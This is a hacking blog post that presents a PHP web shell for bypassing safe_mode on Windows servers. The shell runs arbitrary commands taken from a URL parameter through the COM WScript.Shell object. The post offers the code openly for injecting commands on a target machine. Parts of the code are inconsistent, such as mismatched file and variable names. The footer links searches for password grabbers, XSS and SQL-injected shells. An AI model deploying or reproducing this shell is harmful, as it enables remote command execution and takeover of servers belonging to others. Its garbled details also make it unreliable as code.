RSS Feed for This Post

VIDEO How to bypass SAFE-MODE on WINDOWS BOX using php shell

Astalavista IT Security Member Area

I’ve just found a nice thread on h4cky0u.org forum about bypassing safe-mode ON , on any WINDOWS OS by using php shell which will allow us to execute / inject any command on target machine. This video is presented in Arabic languange , but it’s very easy to understand.

The PHP SHELL code :

<?php
//PHP COM extensions (inconsistent Win32) safe_mode bypass

$____suntzu = new COM(”WScript.Shell”);
$____suntzu->Run(’c:\windows\system32\cmd.exe /c ‘.escapeshellarg($_GET[cmd]).’ > ‘.dirname($_SERVER[SCRIPT_FILENAME]).’/djekmani.txt’);
$____suntzoi=file(”suntzoi.txt”);
for ($i=0; $i<count($____djekmani); $i++) {echo nl2br(htmlentities($____djekmani[$i]));}

// *quote* from the php manual:
// There is no installation needed to use these functions; they are part of the PHP core.

// The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

// You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
// we don’t and can’t bundle all of those with PHP.
?>

See how it works.

Astalavista IT Security Member Area Looking for similar article like this? Try with these search terms, You will automatically go to Lifedork website search page with the term:
  • ?intitle:index of? google hacking
  • friendster xss
  • mangnhen net yahoo
  • friendsters server vulnerabilities
  • friendster database hack
  • wicrawl tutorial
  • detect yahoo messenger invisible
  • rapidkill working
  • rapidleech
  • XSS sql
  • friendster password grabber
  • bypassing xeeber
  • intitle:index of wireless hacking
  • sql injecting shell
  • Trackback URL

    4 Comments

    (Required)
    (Required, will not be published)